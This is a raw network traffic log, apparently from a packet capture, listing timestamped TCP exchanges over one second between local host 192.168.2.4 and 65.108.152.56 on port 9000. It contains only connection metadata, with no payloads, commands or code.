May 7, 2024 05:29:02.088330030 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.089690924 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.089728117 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.089740038 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.089761972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.091136932 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.091150999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.091190100 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.092597008 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.092645884 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.092645884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.092693090 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.094101906 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.094119072 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.094140053 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.094157934 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.095508099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.095520973 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.095551014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.096864939 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.096904993 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.096918106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.096946955 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.098315954 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.098329067 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.098368883 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.099697113 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.099709988 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.099739075 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.101114988 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.101129055 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.101164103 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.102485895 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.102499962 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.102530956 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.103905916 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.103921890 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.103967905 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.105241060 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.105257034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.105293036 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.105317116 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.106606960 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.106622934 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.106651068 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.108019114 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.108033895 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.108066082 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.109343052 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.109390974 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.109391928 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.109427929 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.110673904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.110687971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.110723019 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.113081932 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.113095999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.113140106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.115856886 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.115869999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.115907907 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.118344069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.118366003 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.118390083 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.118417978 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.120606899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.120620966 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.120670080 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.123123884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.123136997 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.123177052 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.125485897 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.125500917 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.125535011 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.128207922 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.128246069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.128254890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.128282070 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.130625010 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.130636930 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.130661964 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.130673885 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.132739067 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.132751942 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.132788897 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.135121107 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.135169983 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.135219097 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.135262966 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.137723923 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.137736082 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.137763977 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.137783051 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.139869928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.139883041 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.139919996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.142131090 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.142148972 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.142179966 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.142199993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.144510984 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.144535065 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.144556046 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.144567966 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.146769047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.146805048 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.146836996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.146847963 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.149044991 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.149059057 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.149094105 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.151870012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.151890039 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.151936054 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.153405905 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.153420925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.153462887 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.153489113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.156213999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.156230927 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.156275988 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.158452034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.158467054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.158514023 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.160927057 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.160940886 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.160978079 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.162175894 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.162189960 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.162236929 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.164132118 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.164148092 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.164191008 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.166327953 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.166388035 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.166464090 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.166510105 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.168380976 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.168397903 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.168431997 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.168442011 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.170676947 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.170691967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.170752048 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.173296928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.173336983 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.173480034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.173526049 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.175153017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.175203085 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.175529003 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.175570965 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.177295923 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.177306890 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.177392006 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.179457903 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.179471016 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.179639101 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.181647062 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.181659937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.181694984 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.181730032 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.183865070 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.183878899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.183907032 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.183924913 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.184828997 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.184843063 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.184874058 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.184885025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.186850071 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.186866999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.186897993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.186906099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.189105034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.189120054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.189151049 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.191276073 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.191319942 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.191375971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.191416979 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.193659067 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.193671942 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.193702936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.195770025 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.195781946 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.195813894 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.195842981 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.197551012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.197566032 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.197602034 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.198556900 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.198581934 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.198615074 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.198628902 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.200356960 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.200371981 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.200409889 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.202251911 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.202267885 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.202300072 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.202322960 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.204092979 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.204116106 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.204145908 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.204157114 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.206075907 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.206120014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.206149101 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.206192970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.207865953 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.207880974 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.207914114 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.207926035 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.209798098 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.209836006 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.209842920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.209884882 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.211683035 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.211694956 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.211730957 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.213300943 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.213314056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.213349104 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.215277910 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.215293884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.215329885 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.216890097 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.216902971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.216938972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.218853951 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.218867064 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.218897104 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.218919992 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.220679998 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.220691919 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.220729113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.222299099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.222312927 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.222342968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.222366095 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.224070072 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.224083900 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.224124908 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.225785017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.225796938 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.225831032 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.227673054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.227684975 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.227715015 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.227736950 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.229192019 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.229219913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.229253054 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.229269981 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.230890036 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.230904102 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.230954885 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.232554913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.232568026 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.232608080 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.232642889 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.234277010 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.234297037 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.234323025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.234338999 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.236059904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.236073971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.236116886 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.236128092 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.237643957 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.237657070 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.237701893 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.237720013 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.239317894 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.239365101 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.239366055 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.239412069 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.240971088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.240995884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.241029978 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.241044998 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.243206978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.243267059 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.243347883 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.243396044 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.244322062 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.244339943 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.244383097 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.244396925 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.245817900 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.245831013 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.245868921 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.245887041 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.247477055 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.247490883 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.247524023 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.247550964 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.249185085 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.249202967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.249227047 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.249241114 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.250744104 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.250799894 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.250818014 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.250865936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.252312899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.252326965 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.252370119 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.252388954 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.253974915 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.253989935 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.254021883 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.254038095 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.255539894 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.255554914 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.255589008 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.257076979 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.257091045 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.257138014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.257155895 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.258718967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.258759975 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.258774996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.258800983 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.260322094 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.260341883 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.260366917 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.260390043 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.261816978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.261831045 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.261868954 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.261881113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.263233900 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.263271093 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.263287067 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.263304949 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.264781952 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.264796019 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.264827013 CEST	49738	9000	192.168.2.4	65.108.152.56
